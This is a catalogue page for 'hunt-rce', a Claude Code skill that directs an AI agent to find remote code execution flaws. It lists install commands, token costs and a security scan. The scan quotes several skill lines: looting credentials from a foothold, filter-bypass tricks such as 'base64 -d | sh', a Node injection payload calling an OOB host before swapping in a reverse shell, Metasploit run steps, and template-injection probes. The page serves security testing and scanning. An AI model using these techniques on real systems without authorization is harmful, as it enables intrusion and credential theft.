A guide to finding remote code execution vulnerabilities, where an attacker may make a system run their own commands.

Use it to assess template and configuration editors, file-processing endpoints, serialized YAML or XML data, Kubernetes interfaces, and systems affected by named vulnerabilities.

It helps security testers focus on inputs and software versions that may lead to code execution, while following scope, confirmation, and stopping rules.

hunt-rce — Skill for Claude Code by Encod3d-Sec

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add Encod3d-Sec/TORCH --skill hunt-rce

Clone the repo

git clone --depth 1 https://github.com/Encod3d-Sec/TORCH

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/encod3d-sec/torch/hunt-rce/github.svg)](https://agentmods.dev/skills/encod3d-sec/torch/hunt-rce)

Your own site

<a href="https://agentmods.dev/skills/encod3d-sec/torch/hunt-rce"><img src="https://agentmods.dev/badge/skills/encod3d-sec/torch/hunt-rce/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/encod3d-sec/torch/hunt-rce"><img src="https://agentmods.dev/badge/skills/encod3d-sec/torch/hunt-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 63 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 2,260 The whole file, excluding the scripts and references it only reads on demand.

Security scan C 4 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00063	$0.02260
Opus 5	$0.00032	$0.01130
Sonnet 5	$0.00013	$0.00452
Haiku 4.5	$0.00006	$0.00226

Measured 9d ago against content hash 334f507beda9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade C, and why

hunt-rce scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

- **Loot credentials from the foothold** - env vars, config files, cloud metadata, `.git-credentials`, connection strings. Hand off to `hunt-secrets`.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Encoded or obfuscated payloadmediumSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

- **Command filters:** `$IFS` (or `${IFS}`) for blocked spaces, quote/backslash breaking (`c""url`, `w\get`), `base64 -d | sh`, wildcard globbing (`/???/??t`), `$(...)` / backticks, and env-var indirection.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

only). Node example: `curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET` -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

only). Node example: `curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET` -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express

skills/hunt/hunt-rce/SKILL.md · 157 lines

How it starts

The opening of the file, as written. The whole thing — 157 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Hunt: Remote Code Execution

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "remote code execution command injection template injection deserialization CVE" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[os-command-injection]]. Payload arsenal: wiki/payloads/command-injection.md. Anchors: [[ssti]], [[insecure-deserialization]].

Attack surface signals

Rank before probing. Not every free-text field is equally likely to reach an interpreter:

Config / template editors - Nomad, CI job specs, notification templates: user text is compiled, not just stored.
Import / render / export endpoints - ?template=, ?url=, document generation, PDF/HTML renderers.
Admin and management consoles - richer surface, weaker input handling, often the shortest path.
Deserialization sinks - any endpoint eating a serialized blob (magic bytes, !! YAML tags, Java AC ED, PHP O:).
Version-pinned components - a fingerprinted Apache 2.4.49 / Spring Cloud Function beats blind probing.

URL patterns: /management-console/*, /admin/settings/*, /webhook/*, /render?template=, /import?url=

Tech stack signals:

Signal	RCE Vector
Nomad config UI editable	Go text/template injection
SnakeYAML in classpath	`!!javax.script.ScriptEngineManager`
ingress-nginx annotations	Path field regex bypass
Spring Boot `*-routing-expression` header	SpEL injection
`X-GitHub-Enterprise-Version`	Nomad/collectd/syslog-ng config injection

Methodology

Prefer a vetted module over a hand-rolled exploit. For a known CVE/product, check Metasploit FIRST: bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'". If a module exists, run it non-interactively (use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l; exit) rather than writing bespoke exploit code - faster, more reliable, and the exploit logic lives in the vetted module. Hand-roll only when no module fits.
Map execution contexts: template engines, shell commands, YAML parsers, file paths, package resolution
Enumerate admin/management interfaces: /management-console, /admin, /_internal, /setup
Template injection probe in every config/free-text field:

{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}

Look for 49 in response, logs, or OOB DNS callbacks.

Read the full file on GitHub · 157 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

9d ago First seen · 157 lines · 63 tokens per session scan C 334f507beda9

Subscribe to this mod's changes

hunt-rce is a skill published in the GitHub repository Encod3d-Sec/TORCH (318 stars, last pushed 7d ago), licensed MIT. It adds 63 tokens to every session and 2,260 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 4 findings (reaches for credential files, encoded or obfuscated payload, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Security

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hunt-rce